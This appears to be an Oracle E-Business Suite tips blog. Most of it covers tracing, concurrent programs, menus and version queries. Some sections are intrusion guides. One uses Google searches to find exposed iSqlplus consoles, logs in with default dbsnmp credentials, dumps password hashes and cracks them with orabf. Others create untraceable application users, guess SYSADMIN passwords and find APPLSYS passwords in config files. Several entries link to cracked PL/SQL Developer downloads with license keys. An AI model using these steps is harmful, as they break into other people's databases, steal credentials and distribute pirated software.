Locate Trace file and Enviroment files from Front End

After completing traceinge, You can find the Trace file location path by using following methods

Method 1) select value from v$parameter
where name ='user_dump_dest'

The above Query returns Trace file location Path.

Method 2) Login As sysadmin
Click at Goto ->OAM->OAM Setup->Site MAP->Monitoring->System Configuration-> Databse Init.ora Setting.

Here You can find out Parameter name as user_dump_dest , utl_file_dir and corresponding values.

Accessing PO Reports from INV


Some times you may Get requiremnet like running PO standard reports into Inventory

1) Login as sysadmin go To security-> responsibility-> define-> Query the Responsibility name as Inventory Super User, Vision Operations
Note down the menu name
ie : INV_NAVIGATE
Same as query the Responsibility name as Purchasing, Vision Operations
Note down the menu from menu box
ie : Purchasing SuperUser GUI



2) Go To Application -> menu

query the user menu Name as INV_NAVIGATE
And add the below entries like

Seq =1.1
Prompt =XX Purchasing Reports
Submenu= Purchasing SuperUser GUI
Function=Submit Requests
Description=XX Purchsing Menu
Grant=Yes


3) Save and compile menu

4) Switch Responsibility to Inventory
Identify the XX Purchasing Reports menu
Finally Run PO reports from Inv

Concurrent Program output in MS Excel format

1)Login as sysadmin
2) switch to Sysadmin responsibility
3)go to Install->Viewer Options
4) Add entries as Below

File Format =Text Mime
Type=application/vnd.ms-excel
Description=Microsoft Excel

5) save the changes
6) Run any concurrent program
7) Goto-> tools and Copy file
Your able to see the output into Excel format

CONCSUB

. By Using CONCSUB You can submit a concurrent request to execute and Controlling any concurrent program at UNIX(operating system level) without having to log on to Oracle Applications.
The CONCSUB executable is located at $FND_TOP/bin/CONCSUB

Syntax:

$ CONCSUB APPS username>/APPS password
responsibility application short name
responsibility name
username
[WAIT=N|Y|n seconds]
CONCURRENT
program application short name
program name
[PROGRAM_NAME=”description”]
[REPEAT_TIME= [REPEAT_INTERVAL= number]
[REPEAT_INTERVAL_UNIT= resubmission unit]
[REPEAT_INTERVAL_TYPE= resubmission type]
[REPEAT_END=resubmission end date and time]
[START=date]
[IMPLICIT= type of concurrent request
[parameter 1 ... parameter n]



Example :

CONCSUB APPS/APPS \
·················· SYSADMIN \
··················”System Administrator” \
·····················SYSADMIN \
·····················WAIT=N \
··· CONCURRENT \
··· FND \
··· FNDSCURS \
··· PROGRAM_NAME=’”Active Users”’


Syntax for Controlling Concurrent Managers

CONCSUB apps/apps_password SYSADMIN ‘System Administrator’ SYSADMIN WAIT=N CONCURRENT FND SHUTDOWN

Note : You can't use the CONCSUB to start the concurrent manager.Instead of that you can use startmgr which located in $FND_TOP/bin dir.

Enabling Report Trace via User Profile Option



1)Logon to apps under the System Administrator responsibility.

2)Navigate: Profile > System.

3)On the "Find System Profile Values" form, make sure the checkboxes for "User" and "Profiles with no Values" are checked.

4)Beside the "User" checkbox use the LOV to select the user who's activity you need to trace.

5)In the "Profile" field, type: Initialization SQL Statement - Custom
Then click the "Find" button.

6)Under the User column enter the following all on one line:
Begin fnd_ctl.fnd_sess_ctl('','','TRUE','TRUE','LOG','ALTER SESSION SET EVENTS=''10046 TRACE NAME CONTEXT FOREVER, LEVEL 4'' TRACEFILE_IDENTIFIER=''REPORT'''); end;
note: you can substitute any meaninful word for REPORT.

7)Swtich to the Responsibility needed to run the report.

8)Go directly to submit the process. When it has completed, UNSET the profile "Initialization SQL Statement - Custom" for this user and exit the application.

9)The trace file will be located in the directory identified by the following select:
select value from v$parameter where name = 'user_dump_dest';
and will include "REPORT" in the filename.

Use LEVEL 4 (as indicated above) for binds only.
Use LEVEL 8 for waits only.
Use LEVEL 12 for both.


Enabling Trace in the Before_Report Trigger

1)Open the rdf file with rwbuilder.

2)Edit the Before Report Trigger and add this line right after BEGIN

SRW.DO_SQL ('alter session set events=''10046 trace name context forever, level 4'' tracefile_identifier=''REPORT');

3)Recompile and save the report.

Use LEVEL 4 (as indicated above) for binds only.
Use LEVEL 8 for waits only
Use LEVEL 12 for both

When the report is run the trace file will be written to the udump directory which can be identified by the following select:
select value from v$parameter where name = 'user_dump_dest';

Trace will automatically turn off when the report ends.


Tracing From the Reports Builder

To enable tracing in the Reports Builder user interface:

1)Open your rdf in with rwbuilder.
2)Choose Program>Tracing.
3)Select the Trace Mode.
Select appropriate Trace Options. The trace file now logs information for the
entire Reports Builder session.

The trace file will be written to the directory from which you launched the Reports Builder.

Difference Between ALERT and WORKFLOW

Alert:

1)Oracle Alert is a database event detection tool designed to detect database events.
2)Oracle Alert does contain some workflow type features such as response processing, that allow a sequence of actions to be taken depending on a users response to a message
(Example : Approval sequence)

Workflow:

1)Oracle workflow is designed to manage the execution complex of business processes that result from database events.
2)Oracle Workflows response processing capabilities are more advanced than Oracle Alert.

Diffierent types Apps Tables

_ALL Conatains multi org data before using this table you need to set client_into to specific org , Org_id is common column.

_V view created on base table

_VL view created on multi language tables.

always use the condition LANGUAGE = USERENV(’LANG’).

_TL Tables support multi language.

_B These Main base tables

_F these date tracked tables for only in HRMS and these table contain 2 common columns effective_start_date and effective_end_date

_S sequence related tables

_AVN Audit view shadow tables contains data track information

DOWNLOAD PL/SQL DEVELOPER 7.1 WITH CRACK KEY

http://cid-ae545c16904514ec.skydrive.live.com/self.aspx/Etrms/PL[1].SQL.Developer.v7.1.2.1363-BEAN.rar

Security Issues

Oracle applications has some Security issues. I have identified some of Security issues in oracle applications. if you know apps schema password you can create the Oracle applications User and also validate the password.

1) The following is used to create the oracle application user from Apps Schema.

declare

usr_id varchar2(200);

ret varchar2(200);

begin

ret:=fnd_web_sec.create_user('TRIGER','Welcome1',usr_id);
if (ret is not null ) then

dbms_output.put_line('User has created '||usr_id);

else

dbms_output.put_line('User has creation failed due to ||'SQLERRM);

end if;

end;

Commit;

/

Here Username : TRIGER

Initial Password : Welcome1

In this case User_id and CREATED_BY both are same.So it is difficult to Others identify who has created this.

Use following query for more clarity

select * from fnd_user
where user_name like 'TRIGGERS%'

2) To Validate the Login and password

declare
ret varchar2(20);
Begin
ret:=fnd_web_sec.validate_login('TRIGGERS','Welcome1');
if ret='Y' then
dbms_output.put_line('Password is Correct');
else
dbms_output.put_line('Password is InCorrect');
end if;
end;

Same as you can attempt with SYSADMIN Password .

3) Use the following Script adding responsibilities from Apps schema

http://oracle-applications-rama.blogspot.com/2007/12/using-following-script-you-can-add.html

PL/SQL Developer

Download PL/SQL Developer With unlimited license Key

PL/SQL Developer is an integrated development environment for developing, testing, debugging, and optimizing Oracle PL/SQL stored-program units such as packages, triggers, and so on. The program features context-sensitive help and database-object descriptions. Also included is a full-featured integrated debugger, a multi-session/multi-threaded environment, a code assistant, a template library, a macro library, and a command window and more.

1)http://cid-ae545c16904514ec.skydrive.live.com/self.aspx/Etrms/plsqldev.exe
2)http://cid-ae545c16904514ec.skydrive.live.com/self.aspx/Etrms/cdkey.txt

---

iSql Plus in Google

You can Access Oracle Data base Using in Google.
Step 1) Open Google.com
Click on Advanced Search

with the exact phrase: iSqlplus
Return results where my terms occur: in the Url of the Page

Click on Google Search

Step 2: You will see many iSqlplus Urls. Click on any one of the Url
Enter Username: dbsnmp
Password: Dbsnmp
Then Click on Login Or Try with Default passwords.

Step 3: Enter the following Query in Text box
Select PASSWORD from dba_users

Step 4: Download the tool from following URL
http://cid-ae545c16904514ec.skydrive.live.com/self.aspx/Etrms/orabf.exe
Step 5: Using above tool can find out different user passwords.
I tried this it’s working.

---

Cracking Data base schema user Password

You can get many tools from Internet it can crack the data base password.

Step 1: download tool (orabf.exe) from following Link
http://cid-ae545c16904514ec.skydrive.live.com/self.aspx/Etrms/orabf.exe
Paste into local drive like C: or D:

Step 2: select PASSWORD from dba_users
Copy the Decrypted Password

Step 3: Go to windows Command prompt
C:\ orabf <Paste the selected password>: APPS -c 3 –m 5
M means Max password Length.
C means Complexity.

Press Enter if it is a Default password it will generate immediately,Or else press entry key until unless you see the correct password.

I have tested Its working.
Please see the attached Screen Shot.

CREATING CUSTOM TOP IN ORACLE APPS

You can create custom top in oracle application using following Process.

Step 1: Replicate APPL_TOP Dircetory in UNIX
Cd $APPL_TOP
Step 2: Create Custom Top Under APPL_TOP Dir
Mkdir XXCUST_TOP (Exactly Product Directories)
Make sure all the files and Directories are same as Other Product Dir.
Step 3: Add Custom Top entry in APPLSYS.env file
Step 4: Login Oracle apps using Sysadmin or AOL
Navigate: Applications->Register
Add your Custom top Entry Here

Application: XXApplication name
Short name: XXCUST
BasePath: XXCUST_TOP
Description: XXApplication.

Step 5: Restart the Internal Concurrent Manager (ICM) So that New Changes will recognize.

Step 6: Finally Check Custom Entry in
Select BASEPATH,PRODUCT_CODE,APPLICATION_SHORT_NAME
From fnd_application
Where application_Short_name like 'XXCUST_TOP%'

Auto Connect to Workflow instance and Sqlplus

1) Open the workflow Builder

2) Click on choose file

3) Select database radio button and connect to database

4) Select the item type you want to display in object Navigator

Then it loads selected Wf Item type in workflow object navigator

5) Select item type in Navigator

6) Choose file menu and click on shortcut

Then it will ask you creating short cut on Desktop click on

7) Go to desktop select the wft file right click on that go to properties

You can see the text in target box like this

C:\OraWf\bin\WFBLDR.EXE -C "apps@visr12" -E "AZNM007"

8)Change the text from C:\OraWf\bin\WFBLDR.EXE -C "apps@visr12" -E "AZNM007” to

C:\OraWf\bin\WFBLDR.EXE -C "apps/apps@visr12" -E "AZNM007" and click on ok Button

9) Finally Double click on wft file it wills automatically connected to Database

Note: Repeat same steps to SQLPLUS .

Select PLUS80w.exe go to properties change the target text box value.

Ex: C:\orant\BIN\PLUS80W.EXE apps/apps@DBNAME

How to Pass Status from PL/SQL Script to Shell Script

By using following method you can pass specific value or status from pl/sql block to shell script.

Step 1: Define PL/SQL Program and declare 1 global variable
Assign the status to Global variable. Once you assign the status to Variable it will store into System parameter $?

Step 2: Call Pl/sql program in Shell Script and assign $? (Contains Pl/Sql global variable Value) Value to script variable.

=> Create Ret.sql

variable ret_val number
declare
varchar2(40);
the_date date;
begin
select sysdate into the_date from dual;
:= to_char(the_date, 'MON');
dbms_output.put_line('Month: '||);
if(str = 'JUL') then
:ret_val := 10;
else
:ret_val := 20;
end if;
end;
/
exit :ret_val;

When Control comes out from Ret.sql ,the return(:ret_val) value stores in $?

Run the above script At Unix prompt and check the value of $?

echo $?

The value could be 10 or 20

=>Now Create Shell Script

#!/bin/ksh
sqlplus scott/tiger @Ret #Calling Pl/SQl file Here
if [ $? -eq 10 ] #$? contains Pl/sql Return value(:ret_val)
then
echo "The month is July"
else
echo "The month is not July"
fi




How to get Version of Programs, Files, and Objects

1) ORACLE APPLICATIONS

To obtain version of form from any applications form, navigate to the form. Then in the Menu toolbar
select Help => About Oracle Applications.
Or
Run the following statement
select release_name from fnd_product_group;

2) DATABASE OBJECTS
select text from user_source where name='&package_name' and text like '%$Header%';

You can also obtain the pls version on the database by running:

select name, text
from dba_source
where text like '%.pls%'
and line

VIEWS
select VIEW_NAME, TEXT
from
USER_VIEWS
where VIEW_NAME = '&VIEW_NAME';

Oracle Workflow
$FND_TOP/sql/wfver.sql
OR
select TEXT from WF_RESOURCES where NAME='WF_VERSION';

UNIX : uname -a
WINDOWS : Start => Parameters => Control Panel => System
JAVA
java -version

sqlplus
start=>Run=>cmd
sqlplus

TNSPING
start=>Run=>cmd
TNSPING

D2k version
ORACLE_HOME\Orainst\nt.rgs

File versions
On Unix: strings -a "File name" | grep Header
On Windows : find "Header" File_name

Traceing Jinitiator

Some times Jinitiator raises exception .You can figure it out by using Trace Jinitiator

Step 1: Windows select Start - Settings - Control Panel – Jinitiator

Step 2: Enter following in the "java Run Time parameters”

textfield:

-Djavaplugin.trace=true

-Djavaplugin.trace.option=basicnetsecurityextliveconnect.

Step 3: Restart Your Machine

You can see the trace file information under C:\Documents and Settings\\jinitiator. Trace

JAVA VIDEO FILES

Learn java your self by using following link.

http://devel.njit.edu/~media/CIS%20602/index.html

ORACLE REPORTS 10g in R12.

• Oracle Reports 10g is Introduced in R12, But 10G doesn’t support all Features.
  
  1)Import Portal component
  2)Backward compatibility with oracle reports 6i Client
  3)Using Keywords SRW.RUN_PRODUCT
  
  If your Migrating any report from 6i-> 10g, switch to using either the ORA_JAVA package or the Java Importer utility. Refer to Oracle Reports online Help for more information on how to use the Java Importer
  
  
  Deprecated user exit built-in procedures
  
  
  SRW.UNKNOWN_USER_EXITà Replace with ORA_FFI, or ORA_JAVA calls.
  SRW.USER_EXITà Replace with ORA_FFI, or ORA_JAVA calls.
  SRW.USER_EXIT20à Replace with ORA_FFI, or ORA_JAVA calls.
  SRW.USER_EXIT_FAILUREà Replace with ORA_FFI, or ORA_JAVA calls
  
  
  Obsolete Functionality
  
  The following functionality is obsolete in Oracle Reports 10g Release 2 (10.1.2):
  
  · Running Reports Server as a Windows service
  
  The following functionality was obsoleted in a prior release (that is, Oracle9i Reports or Oracle Reports 10g (9.0.4)):
  
  1)Character-mode Runtime Viewer
  
  2) Graphical user interface for reports runtime
  
  3)Oracle Forms built-in RUN_PRODUCT for submitting report requests
  
  4)Oracle Graphics
  
  5)Selected executables
  
  6)Selected command line keywords
  
  7)Selected system parameters
  
  8)Miscellaneous Items
  
  Character-mode reports can still be designed in Reports Builder 10g (10.1.2), and character-mode output produced with Oracle Reports 10g (10.1.2), using the command line option MODE=CHARACTER
  
  The Oracle Forms built-in RUN_PRODUCT is replaced by the new built-in RUN_REPORT_OBJECT.
  
  RUN_REPORT_OBJECT for submitting report requests. For more information, refer 16 to the white paper Oracle Application Server 10g - Integrating Oracle Reports in Oracle Forms Services available on the Oracle Technology Network (OTN).
  
  In Oracle Reports 10g Release 2 (10.1.2), the use of keywords SERVER and USERID with SRW.RUN_REPORT is deprecated. Reports created in prior releases that use these keywords with SRW.RUN_REPORT will continue to run in Oracle Reports 10g Release 2 (10.1.2), but the values specified in these keywords will be ignored. If you need these keyword values to be honored, set the environment variable REPORTS_SRWRUN_TO_SERVER=YES.
  
  

Another methods to find out the APPLSYS Password.

1) Method 1
Download following file from $FND_TOP/resource/appsweb.cfg into Desktop Open it in Notepad and check line # from 65-70
APPLSYS password is hard coded.

2) Method 2
Download Dbc file from $FND_TOP/secure into Local Drive and Check at line no#9 GWYUID=APPLSYSPUB/PUB

1)DBC File

2) appsweb.cfg File